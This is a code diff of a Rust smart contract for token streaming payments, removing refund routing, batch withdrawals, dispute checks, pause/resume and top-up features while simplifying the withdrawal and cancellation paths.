-        doc = " must reclaim what its beneficiary's stream never spent. Accrual, the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " recipient's claims and `cancel_stream`'s authorization are untouched: only"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the destination of the *remainder* changes, so"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `0 <= withdrawn <= streamed <= deposit` and the conservation invariant are"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " identical to [`StreamingPayments::create_stream`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `refund_to` must differ from `sender` — that is already where the claim"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " sits, and refusing the no-op keeps the event log to real routing changes."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The address is *not* required to exist, hold a balance, or be able to"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " receive: routing to an address that cannot accept the transfer surfaces"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " later as [`StreamError::SenderRefundFailed`] on the cancellation, so this"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " is the sender's own risk to take, and the reason the choice is announced"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " by `StreamRefundTargetChanged` rather than stored silently."
-    )]
-    #[allow(clippy::too_many_arguments)]
-    pub fn create_stream_with_refund(
-        env: Env,
-        sender: Address,
-        recipient: Address,
-        token: Address,
-        deposit_amount: i128,
-        start_time: u64,
-        end_time: u64,
-        cancelable: bool,
-        refund_to: Address,
-    ) -> Result<u64, StreamError> {
-        Self::require_not_frozen(&env)?;
-        if refund_to == sender {
-            return Err(surface::reject(Branch::RefundTargetUnchanged));
-        }
-
-        // The deposit, the escrow and every creation check are the plain
-        // creation path; nothing about routing changes them.
-        let id = Self::create_stream_with_oracle(
-            env.clone(),
-            sender.clone(),
-            recipient,
-            token,
-            deposit_amount,
-            start_time,
-            end_time,
-            cancelable,
-            false,
-        )?;
-
-        // Effects, then the event — same CEI shape as the amendment path. No
-        // token moves here: the deposit is already escrowed in the contract.
-        stream::put_refund_target(&env, id, &refund_to);
-
-        #[cfg(test)]
-        cei_trace::record("event StreamRefundTargetChanged");
-        StreamRefundTargetChanged {
-            stream_id: id,
-            previous_target: sender,
-            new_target: refund_to,
-            at_creation: true,
-        }
-        .publish(&env);
-
-        Ok(id)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Re-routes the refund of a stream's unstreamed remainder to `refund_to`."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Only the current sender may call this, and only while the stream is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `Active`: the claim is the counterpart of the money that funded the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " stream, so nobody else gets to redirect it, and once the stream is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " cancelled or depleted there is no remainder left to route."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Routing to the sender's own address is the way to *undo* a previous"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " routing (or to make a routed claim follow the role again), and is a real"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " change whenever the pinned target differs from the current sender — see"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamingPayments::refund_target`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The claim is deliberately *not* re-derived from the role on every hop: a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " consented sender transfer keeps whatever routing was in force, which is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " why [`StreamingPayments::propose_sender_transfer`] carries an explicit"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `transfer_refund_rights` flag instead of implying one here. A top-up by a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " later sender therefore enlarges the pot that the *pinned* target reclaims"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " — route with intent.")]
-    pub fn set_refund_target(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-        refund_to: Address,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        if caller != s.sender {
-            return Err(surface::reject(Branch::RefundTargetNotSender));
-        }
-        let previous = stream::refund_target(&env, &s);
-        if previous == refund_to {
-            return Err(surface::reject(Branch::RefundTargetUnchanged));
-        }
-
-        stream::put_refund_target(&env, stream_id, &refund_to);
-
-        #[cfg(test)]
-        cei_trace::record("event StreamRefundTargetChanged");
-        StreamRefundTargetChanged {
-            stream_id,
-            previous_target: previous,
-            new_target: refund_to,
-            at_creation: false,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
     fn validate_stream_creation(
         now: u64,
         deposit_amount: i128,
@@ -865,7 +538,7 @@ impl StreamingPayments {
             end_time,
             cancelable,
             status: StreamStatus::Active,
-            use_oracle: Some(use_oracle),
+            use_oracle,
         };
         stream::put_stream(env, &s);
         stream::index_stream(env, &s);
@@ -1042,7 +715,7 @@ impl StreamingPayments {
                 end_time: input.end_time,
                 cancelable: input.cancelable,
                 status: StreamStatus::Active,
-                use_oracle: Some(false),
+                use_oracle: false,
             };
             stream::put_stream(&env, &created);
             stream::index_stream(&env, &created);
@@ -1289,8 +962,8 @@ impl StreamingPayments {
         }
         let mut s = Self::authorize_withdrawal(&env, stream_id)?;
 
-        let resolved = oracle::resolve_stream_time(&env, stream_id, s.uses_oracle());
-        let available = stream::available_amount_with_plan(&env, &s, resolved.timestamp)?;
+        let resolved = oracle::resolve_stream_time(&env, stream_id, s.use_oracle);
+        let available = stream::available_amount_at(&s, resolved.timestamp)?;
         if amount > available {
             return Err(surface::reject(Branch::WithdrawAmountExceedsAvailable));
         }
@@ -1339,499 +1012,136 @@ impl StreamingPayments {
     pub fn withdraw_max(env: Env, stream_id: u64) -> Result<i128, StreamError> {
         Self::require_not_frozen(&env)?;
         let mut s = Self::authorize_withdrawal(&env, stream_id)?;
-        Self::settle_accrued(&env, stream_id, &mut s)
+
+        let resolved = oracle::resolve_stream_time(&env, stream_id, s.use_oracle);
+        let amount = stream::available_amount_at(&s, resolved.timestamp)?;
+        if amount <= 0 {
+            return Err(surface::reject(Branch::WithdrawMaxNothingToWithdraw));
+        }
+
+        Self::pay_out(&env, &mut s, amount)?;
+        Ok(amount)
     }
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Claims the entire accrued balance of up to [`MAX_WITHDRAW_BATCH`] streams"
+        doc = " Shared preamble for both withdrawal paths: load the stream, require"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " in one transaction, through the exact single-stream claim path."
+        doc = " the recipient's authorization, and reject terminal streams."
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
+    fn authorize_withdrawal(env: &Env, stream_id: u64) -> Result<Stream, StreamError> {
+        let s = stream::get_stream(env, stream_id)?;
+        s.recipient.require_auth();
+        if s.status != StreamStatus::Active {
+            return Err(surface::reject(Branch::StreamNotActive));
+        }
+        Ok(s)
+    }
+
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Every entry runs [`Self::settle_accrued`] — the same function"
+        doc = " Shared payout tail for both withdrawal paths, checks-effects-"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " `withdraw_max` uses — so the batch inherits the CEI ordering, accrual"
+        doc = " interactions ordered: record `withdrawn` and emit the event *before*"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " math, TTL extension and per-stream [`Withdrawn`] event of the audited"
+        doc = " moving tokens, so a reentrant token callback can never double-spend."
     )]
+    fn pay_out(env: &Env, s: &mut Stream, amount: i128) -> Result<(), StreamError> {
+        s.withdrawn = s
+            .withdrawn
+            .checked_add(amount)
+            .ok_or_else(|| surface::reject(Branch::PayoutOverflow))?;
+        if s.withdrawn == s.deposit {
+            s.status = StreamStatus::Depleted;
+        }
+        stream::put_stream(env, s);
+
+        #[cfg(test)]
+        cei_trace::record("event Withdrawn");
+        Withdrawn {
+            stream_id: s.id,
+            recipient: s.recipient.clone(),
+            amount,
+            withdrawn_total: s.withdrawn,
+        }
+        .publish(env);
+
+        push(
+            env,
+            &s.token,
+            &stream::muxed(&s.recipient),
+            amount,
+            Branch::RecipientPayoutFailed,
+        )
+    }
+
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " single path instead of restating any of it. One authorization covers the"
+        doc = " Cancels a stream: pays the recipient their accrued-but-unwithdrawn"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " batch: the caller must be the recipient of *every* stream listed, so a"
+        doc = " balance and refunds the sender the unaccrued remainder, atomically."
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " holder can never claim a counterparty's stream by adding its id"
+        doc = " Callable by the sender always, and by the recipient only if the stream"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " (rejected per-entry with [`StreamError::NotAuthorized`])."
+        doc = " was created with `cancelable = true`. Cancelling an already-cancelled"
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " **Per-entry isolation.** A stream that fails a pre-payout check — not"
+        doc = " or depleted stream reverts with [`StreamError::StreamNotActive`]."
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " found, not yours, not active, nothing accrued, overflow — comes back as a"
+        doc = " Each payout leg maps a token-side failure to its own code —"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " [`WithdrawEntry`] carrying that error's code and `amount: 0`, and is"
+        doc = " [`StreamError::RecipientPayoutFailed`] for the recipient's accrued"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " *skipped*: its siblings still pay out. Payout failures are the deliberate"
+        doc = " share and [`StreamError::SenderRefundFailed`] for the sender's refund —"
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " exception:")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " [`StreamError::RecipientPayoutFailed`] aborts the whole call, because"
+        doc = " and any failure rolls the whole cancellation back: the stream stays"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " the effects of a claim (the `withdrawn` update, the `Withdrawn` event)"
+        doc = " `Active`, `withdrawn` is restored, and no event survives."
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " are written *before* the token interaction, as CEI requires, and a"
+        doc = " # Ordering against `withdraw` (same-ledger race)"
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " published event cannot be un-published. Skipping a failed payout would"
+        doc = " The counterpart of the ordering documented on"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " therefore mean un-writing state after an external call — the exact"
+        doc = " [`StreamingPayments::withdraw`]: cancellation is atomic and sees the"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " reentrancy hazard the ordering exists to prevent. Aborting instead lets"
+        doc = " `withdrawn` balance as of *its* execution point."
     )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the host roll the transaction back as if it never ran."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " **`strict`.** `false` (the default behaviour) keeps partial success: the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " call settles what it can and reports the rest. `true` turns any"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " per-entry rejection into a revert of the whole call, returning that"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " error, so an all-or-nothing claim either settles every stream or none."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The call reverts before reading any state when `stream_ids` is empty"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " ([`StreamError::WithdrawBatchEmpty`]), longer than"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`MAX_WITHDRAW_BATCH`] ([`StreamError::WithdrawBatchTooLarge`]), or"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " contains a repeated id ([`StreamError::WithdrawDuplicateStreamIds`]) —"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " a duplicate would otherwise claim against state its first occurrence has"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " already rewritten.")]
-    pub fn withdraw_many(
-        env: Env,
-        recipient: Address,
-        stream_ids: Vec<u64>,
-        strict: bool,
-    ) -> Result<Vec<WithdrawEntry>, StreamError> {
-        let count = stream_ids.len();
-        if count == 0 {
-            return Err(surface::reject(Branch::WithdrawManyEmpty));
-        }
-        if count > stream::MAX_WITHDRAW_BATCH {
-            return Err(surface::reject(Branch::WithdrawManyTooLarge));
-        }
-        let mut seen = Vec::new(&env);
-        for id in stream_ids.iter() {
-            if seen.contains(id) {
-                return Err(surface::reject(Branch::WithdrawManyDuplicateIds));
-            }
-            seen.push_back(id);
-        }
-
-        Self::require_not_frozen(&env)?;
-        recipient.require_auth();
-
-        let mut entries = Vec::new(&env);
-        let mut paid = Vec::new(&env);
-        let mut total: i128 = 0;
-        let mut skipped: u32 = 0;
-        for id in stream_ids.iter() {
-            let result = Self::authorize_batch_withdrawal(&env, id, &recipient)
-                .and_then(|mut s| Self::settle_accrued(&env, id, &mut s));
-            if strict {
-                // Any per-entry rejection aborts the batch, so the entries that
-                // already settled are rolled back with it.
-                if let Err(error) = &result {
-                    return Err(*error);
-                }
-            } else if result == Err(StreamError::RecipientPayoutFailed) {
-                // The one error that cannot be reported per entry. This entry's
-                // effects — the `withdrawn` update and the `Withdrawn` event —
-                // were written before the token was called, as CEI requires,
-                // and neither can be un-written nor un-published for a single
-                // entry. Reporting it as a skip would leave the ledger claiming
-                // that money left when nothing moved, so the whole call
-                // reverts and the host discards every entry's effects instead.
-                return Err(StreamError::RecipientPayoutFailed);
-            }
-            let entry = match result {
-                Ok(amount) => {
-                    total = total
-                        .checked_add(amount)
-                        .ok_or_else(|| surface::reject(Branch::WithdrawManyTotalOverflow))?;
-                    paid.push_back(WithdrawOutcome {
-                        stream_id: id,
-                        amount,
-                    });
-                    WithdrawEntry {
-                        stream_id: id,
-                        amount,
-                        code: 0,
-                    }
-                }
-                Err(error) => {
-                    skipped += 1;
-                    WithdrawEntry {
-                        stream_id: id,
-                        amount: 0,
-                        code: error.code(),
-                    }
-                }
-            };
-            entries.push_back(entry);
-        }
-
-        #[cfg(test)]
-        cei_trace::record("event BatchWithdrawSummary");
-        BatchWithdrawSummary {
-            settled: paid.clone(),
-            total,
-            requested: count,
-            skipped,
-            recipient,
-        }
-        .publish(&env);
-
-        Ok(entries)
-    }
-
-    /// Shared claim tail for `withdraw_max` and every `withdraw_many` entry:
-    /// resolve the stream's clock, take the whole accrued-but-unwithdrawn
-    /// balance, and pay it out. Takes the already-authorized stream so the two
-    /// entrypoints differ only in how they authorize.
-    fn settle_accrued(env: &Env, stream_id: u64, s: &mut Stream) -> Result<i128, StreamError> {
-        let amount = Self::accrued_balance(env, stream_id, s)?;
-        Self::pay_out(env, s, amount)?;
-        Ok(amount)
-    }
-
-    /// The whole accrued-but-unwithdrawn balance at the stream's own clock;
-    /// `NothingToWithdraw` when it is zero.
-    fn accrued_balance(env: &Env, stream_id: u64, s: &Stream) -> Result<i128, StreamError> {
-        let resolved = oracle::resolve_stream_time(env, stream_id, s.uses_oracle());
-        let amount = stream::available_amount_with_plan(env, s, resolved.timestamp)?;
-        if amount <= 0 {
-            return Err(surface::reject(Branch::WithdrawMaxNothingToWithdraw));
-        }
-        Ok(amount)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Claims every stream on one page of the recipient's index in one transaction,"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " paying one aggregated transfer per asset instead of one per stream."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The page is `page_bounds` (default: offset 0, [`MAX_PAGE_SIZE`] streams; a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `limit` of 0 or above the cap is clamped to it), which keeps a call under the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " ledger-entry limit. `next_offset` is `Some` while the index has more streams."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Each stream goes through the same checks and accrual math as `withdraw_max`."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " A stream that fails one of them before paying (not yours, not active, nothing"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " accrued, overflow) is reported in `failed_streams` and skipped; the others"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " still pay. As in `withdraw_many`, a refused token transfer is the exception:"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " state and `Withdrawn` events are written before tokens move, so"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::RecipientPayoutFailed`] reverts the whole call."
-    )]
-    pub fn withdraw_all(
-        env: Env,
-        recipient: Address,
-        page_bounds: Option<PageBounds>,
-    ) -> Result<WithdrawAllResult, StreamError> {
-        Self::require_not_frozen(&env)?;
-        recipient.require_auth();
-
-        let offset = page_bounds.map(|b| b.offset).unwrap_or(0);
-        let limit = match page_bounds.map(|b| b.limit) {
-            None | Some(0) => stream::MAX_PAGE_SIZE,
-            Some(l) => l.min(stream::MAX_PAGE_SIZE),
-        };
-
-        let key = stream::DataKey::RecipientStreams(recipient.clone());
-        let (stream_ids, total_count) = stream::page_stream_ids_with_len(&env, &key, offset, limit);
-        let end = offset.saturating_add(stream_ids.len());
-        let next_offset = if end < total_count { Some(end) } else { None };
-
-        let mut transfers: Vec<AssetTransfer> = Vec::new(&env);
-        let mut successful_stream_ids = Vec::new(&env);
-        let mut failed_streams = Vec::new(&env);
-
-        // Checks and effects for every stream first; no tokens move in this loop.
-        for id in stream_ids.iter() {
-            let claim = Self::authorize_batch_withdrawal(&env, id, &recipient).and_then(|mut s| {
-                let amount = Self::accrued_balance(&env, id, &s)?;
-                let slot = transfers.iter().position(|t| t.token == s.token);
-                let total = slot
-                    .map_or(Some(amount), |i| {
-                        transfers.get_unchecked(i as u32).amount.checked_add(amount)
-                    })
-                    .ok_or_else(|| surface::reject(Branch::WithdrawManyTotalOverflow))?;
-                Self::record_payout(&env, &mut s, amount)?;
-                let transfer = AssetTransfer {
-                    token: s.token.clone(),
-                    amount: total,
-                };
-                match slot {
-                    Some(i) => transfers.set(i as u32, transfer),
-                    None => transfers.push_back(transfer),
-                }
-                Ok(())
-            });
-            match claim {
-                Ok(()) => successful_stream_ids.push_back(id),
-                Err(error) => failed_streams.push_back(ClaimFailure {
-                    stream_id: id,
-                    error_code: error.code(),
-                }),
-            }
-        }
-
-        // Interactions: one transfer per asset. A refusal reverts everything above.
-        for t in transfers.iter() {
-            push(
-                &env,
-                &t.token,
-                &stream::muxed(&recipient),
-                t.amount,
-                Branch::RecipientPayoutFailed,
-            )?;
-        }
-
-        Ok(WithdrawAllResult {
-            transfers,
-            successful_stream_ids,
-            failed_streams,
-            next_offset,
-        })
-    }
-
-    /// Batch-mode authorization: the stream must exist, belong to the batch
-    /// caller, and be active.
-    ///
-    /// The identity check runs *before* any authorization is required, because
-    /// a `require_auth` failure for a stranger's recipient aborts the whole
-    /// transaction rather than producing a per-entry error — the batch could
-    /// not report the offending entry if it got that far.
-    fn authorize_batch_withdrawal(
-        env: &Env,
-        stream_id: u64,
-        recipient: &Address,
-    ) -> Result<Stream, StreamError> {
-        let s = stream::get_stream(env, stream_id)?;
-        if &s.recipient != recipient {
-            return Err(surface::reject(Branch::WithdrawManyNotStreamRecipient));
-        }
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        Ok(s)
-    }
-
-    /// Shared preamble for both withdrawal paths: load the stream, require
-    /// the recipient's authorization, and reject terminal streams.
-    fn authorize_withdrawal(env: &Env, stream_id: u64) -> Result<Stream, StreamError> {
-        let s = stream::get_stream(env, stream_id)?;
-        s.recipient.require_auth();
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        Ok(s)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Shared payout tail for both withdrawal paths, checks-effects-"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " interactions ordered: record `withdrawn` and emit the event *before*"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " moving tokens, so a reentrant token callback can never double-spend."
-    )]
-    fn pay_out(env: &Env, s: &mut Stream, amount: i128) -> Result<(), StreamError> {
-        Self::record_payout(env, s, amount)?;
-        push(
-            env,
-            &s.token,
-            &stream::muxed(&s.recipient),
-            amount,
-            Branch::RecipientPayoutFailed,
-        )
-    }
-
-    /// The checks-effects half of [`Self::pay_out`]: books `amount` as withdrawn
-    /// and emits `Withdrawn`. The caller owes the recipient the token transfer.
-    fn record_payout(env: &Env, s: &mut Stream, amount: i128) -> Result<(), StreamError> {
-        s.withdrawn = s
-            .withdrawn
-            .checked_add(amount)
-            .ok_or_else(|| surface::reject(Branch::PayoutOverflow))?;
-        if s.withdrawn == s.deposit {
-            s.status = StreamStatus::Depleted;
-        }
-        stream::put_stream(env, s);
-
-        #[cfg(test)]
-        cei_trace::record("event Withdrawn");
-        Withdrawn {
-            stream_id: s.id,
-            recipient: s.recipient.clone(),
-            amount,
-            withdrawn_total: s.withdrawn,
-        }
-        .publish(env);
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Cancels a stream: pays the recipient their accrued-but-unwithdrawn"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " balance and refunds the sender the unaccrued remainder, atomically."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Callable by the sender always, and by the recipient only if the stream"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " was created with `cancelable = true`. Cancelling an already-cancelled"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " or depleted stream reverts with [`StreamError::StreamNotActive`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Each payout leg maps a token-side failure to its own code —"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::RecipientPayoutFailed`] for the recipient's accrued"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " share and [`StreamError::SenderRefundFailed`] for the sender's refund —"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " and any failure rolls the whole cancellation back: the stream stays"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `Active`, `withdrawn` is restored, and no event survives."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " # Ordering against `withdraw` (same-ledger race)"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The counterpart of the ordering documented on"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamingPayments::withdraw`]: cancellation is atomic and sees the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `withdrawn` balance as of *its* execution point."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " * If the recipient's `withdraw` executes first, the cancel splits the"
@@ -1889,9 +1199,6 @@ impl StreamingPayments {
         if s.status != StreamStatus::Active {
             return Err(surface::reject(Branch::StreamNotActive));
         }
-        if dispute::get_dispute_opt(&env, stream_id).is_some() {
-            return Err(surface::reject(Branch::CancelDuringDispute));
-        }
         if caller != s.sender {
             if caller == s.recipient {
                 if !s.cancelable {
@@ -1902,13 +1209,8 @@ impl StreamingPayments {
             }
         }
 
-        let resolved = oracle::resolve_stream_time(&env, stream_id, s.uses_oracle());
-        let (recipient_amount, sender_amount) =
-            stream::cancel_amounts_with_plan(&env, &s, resolved.timestamp)?;
-        // Resolved before the state write: the refund belongs to the claim that
-        // backed the deposit, which only stays the same as `s.sender` until a
-        // consented transfer or an amendment says otherwise.
-        let refund_to = stream::refund_target(&env, &s);
+        let resolved = oracle::resolve_stream_time(&env, stream_id, s.use_oracle);
+        let (recipient_amount, sender_amount) = stream::cancel_amounts_at(&s, resolved.timestamp)?;
 
         // Effects first (CEI): finalise state before moving tokens.
         s.status = StreamStatus::Cancelled;
@@ -1950,7 +1252,7 @@ impl StreamingPayments {
                     &env,
                     &s.token,
                     &current_contract,
-                    &stream::muxed(&refund_to),
+                    &stream::muxed(&s.sender),
                     sender_amount,
                     Branch::SenderRefundFailed,
                 )?;
@@ -1958,1085 +1260,140 @@ impl StreamingPayments {
         }
 
         Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Pauses an active stream (sender only), freezing accrual at the stream's"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " current clock. The recipient can still withdraw what accrued before the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " pause; nothing further accrues until [`Self::resume_stream`]. Pausing an"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " already-paused stream returns [`StreamError::InvalidPauseTransition`]."
-    )]
-    pub fn pause_stream(env: Env, caller: Address, stream_id: u64) -> Result<(), StreamError> {
-        Self::set_paused(&env, caller, stream_id, true)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Resumes a paused stream (sender only). The stream window (and any rate"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " segments) shift forward by the paused length, so accrual continues from"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the frozen amount at the original rate and the full deposit still"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " streams. Resuming a stream that is not paused returns"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::InvalidPauseTransition`]."
-    )]
-    pub fn resume_stream(env: Env, caller: Address, stream_id: u64) -> Result<(), StreamError> {
-        Self::set_paused(&env, caller, stream_id, false)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Adds funds to an existing active stream. The deposit grows and accrual"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " remains linear over the original window, so the recipient's accrued"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " amount increases pro-rata immediately (Sablier-v1 `increaseAmount`"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " semantics).")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Top-ups are rejected on cancelled or depleted streams. Topping up a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " stream that has already passed `end_time` adds fully-accrued funds the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " recipient can withdraw immediately."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " A token-side failure to pull the funds returns"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::TopUpTransferFailed`] and leaves `deposit` unchanged."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Note: extending `end_time` is intentionally not supported in v1 —"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " retroactively re-baselining accrual is lossy for the recipient; see"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `docs/ARCHITECTURE.md` for the design considerations and roadmap."
-    )]
-    pub fn top_up(env: Env, stream_id: u64, amount: i128) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        if amount <= 0 {
-            return Err(surface::reject(Branch::TopUpAmountNonPositive));
-        }
-        let mut s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
